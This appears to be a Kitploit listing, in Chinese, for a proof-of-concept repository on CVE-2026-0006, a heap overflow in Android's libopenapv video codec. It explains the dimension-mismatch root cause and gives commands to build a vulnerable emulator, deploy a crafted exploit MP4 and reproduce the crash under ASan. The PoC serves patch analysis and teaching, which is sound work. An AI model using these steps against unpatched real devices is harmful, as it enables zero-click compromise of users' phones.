Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-0006-openapv-poc — CVE-2026-0006:libopenapv(Android APV 编解码器)堆缓冲区溢出 PoC - CVSS 9.8 | Kitploit
工具/GitHubGitHub/mobilehackinglab/cve-2026-0006-openapv-poc
Android安全漏洞分析代码分析漏洞利用模糊测试移动安全学习与教育二进制利用实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
mobilehackinglab/cve-2026-0006-openapv-poc

CVE-2026-0006-openapv-poc

CVE-2026-0006:libopenapv(Android APV 编解码器)堆缓冲区溢出 PoC - CVSS 9.8

查看仓库
12644个月前尚未审核

CVE-2026-0006:libopenapv 中的堆缓冲区溢出(Android APV 编解码器)

补丁分析与复现 — Mobile Hacking Lab

CVSS 9.8 严重 | 已在野外被积极利用 | 2026 年 3 月已修复

注意: 我们并非此漏洞的发现者。发现并负责任地报告 CVE-2026-0006 的功劳归功于原始研究人员。本仓库包含我们独立的补丁分析、复现及教学性文章,旨在帮助安全社区理解相关漏洞类别及所涉及的利用技术。

演示:deploy_exploit_mp4.sh 触发 mediaswcodec 中的 SIGSEGV

概述

CVE-2026-0006 是 libopenapv 中的一个堆缓冲区溢出漏洞,该库是三星开源的 APV(Advanced Professional Video,高级专业视频)编解码器,作为 Mainline 模块集成在 Android 16 中。

该漏洞允许通过特制的 MP4 文件实现零点击远程代码执行。Android 媒体框架会自动处理视频文件以生成缩略图和预览——无需任何用户交互。

根本原因

oapvd_info() 和 oapvd_decode() 从不同的 PBU(Payload Byte Unit,负载字节单元)读取帧尺寸。攻击者注入一个声称小尺寸(16x16)的 AU_INFO PBU(类型 65),而实际的 FRAME PBU 编码了大尺寸(64x64)。框架根据 oapvd_info() 的输出分配缓冲区,随后 oapvd_decode() 按 FRAME PBU 的尺寸写入解码后的像素——导致缓冲区溢出 14,848 字节。

受影响版本

  • libopenapv v0.1.11.1 至 v0.1.13.0
  • 安全补丁级别低于 2026 年 3 月的 Android 16 设备
  • Samsung Galaxy S26 Ultra 及其他支持 APV 编解码器的设备

仓库内容

搭建测试环境

你需要一个安全补丁级别为 2026 年 3 月之前的 Android 16 模拟器(较旧的 Android 版本中不存在 APV 解码器)。

创建 AVD

root@kitploit:~
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"

# Create the AVD
avdmanager create avd \
  -n android16_apv \
  -k "system-images;android-36.1;google_apis;arm64-v8a" \
  -d pixel_6

# Launch the emulator
emulator -avd android16_apv -no-snapshot-load

验证 APV 解码器是否存在

root@kitploit:~
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so

# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch

如果安全补丁级别为 2026-03-01 或更高,则该漏洞已被修复,漏洞利用将无法生效。请使用更早的系统映像或快照。

快速开始

选项 1:将预构建的漏洞利用 MP4 部署到 Android 设备

root@kitploit:~
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh

该脚本会生成漏洞利用 MP4,将其推送到设备,打开它并捕获崩溃输出。崩溃可能不会在第一次尝试时触发——脚本会自动重试最多 3 次。

选项 2:仅生成漏洞利用 MP4

root@kitploit:~
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py

选项 3:为 ARM64 交叉编译 ASan PoC

root@kitploit:~
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include \
  poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
  ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

预期的 ASan 输出

root@kitploit:~
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

修复方式

  1. 即时边界检查(提交 fb6a5eab):ssize > 4 验证和 'aPv1' 签名检查
  2. 参数验证(v0.1.13.1):用于尺寸/瓦片大小验证的 oapv_param.c 模块
  3. 安全的比特流访问(v0.2.0.0):在比特流读取器级别进行带边界检查的读取

参考链接

  • Android 安全公告 - 2026 年 3 月
  • libopenapv GitHub
  • RFC 9924 - APV 编解码器
  • Mobile Hacking Lab - 完整分析文章

致谢

此漏洞由原始安全研究人员发现并负责任地报告。 我们并未发现此 CVE。发现该漏洞的全部功劳归于他们。

本仓库代表 Mobile Hacking Lab 独立的补丁分析与复现——出于教学目的而创建,旨在帮助安全社区从真实世界的漏洞中学习。

免责声明

本研究是在易受影响库的隔离测试构建上为教育目的而进行的。所有测试均针对开源 libopenapv 项目本地构建的二进制文件进行。未以任何生产设备或系统为目标。

下载工具
FileDescription
generate_overflow_mp4.py生成具有 AU_INFO 尺寸不匹配的漏洞利用 MP4
deploy_exploit_mp4.sh一键操作:生成、推送到 Android 设备、打开并捕获崩溃
poc_mp4_asan.c模拟 C2SoftApvDec 解码路径的 ASan PoC
poc_android_oob_write.c带保护区域溢出检测的独立 ARM64 PoC
valid.apv有效的 337 字节 APV 比特流(64x64,YUV422,10 位)
apv-mp4/valid_ffmpeg.mp4基线 MP4 容器(由 ffmpeg 生成)
apv-mp4/overflow_auinfo.mp4预构建的漏洞利用 MP4(1,178 字节)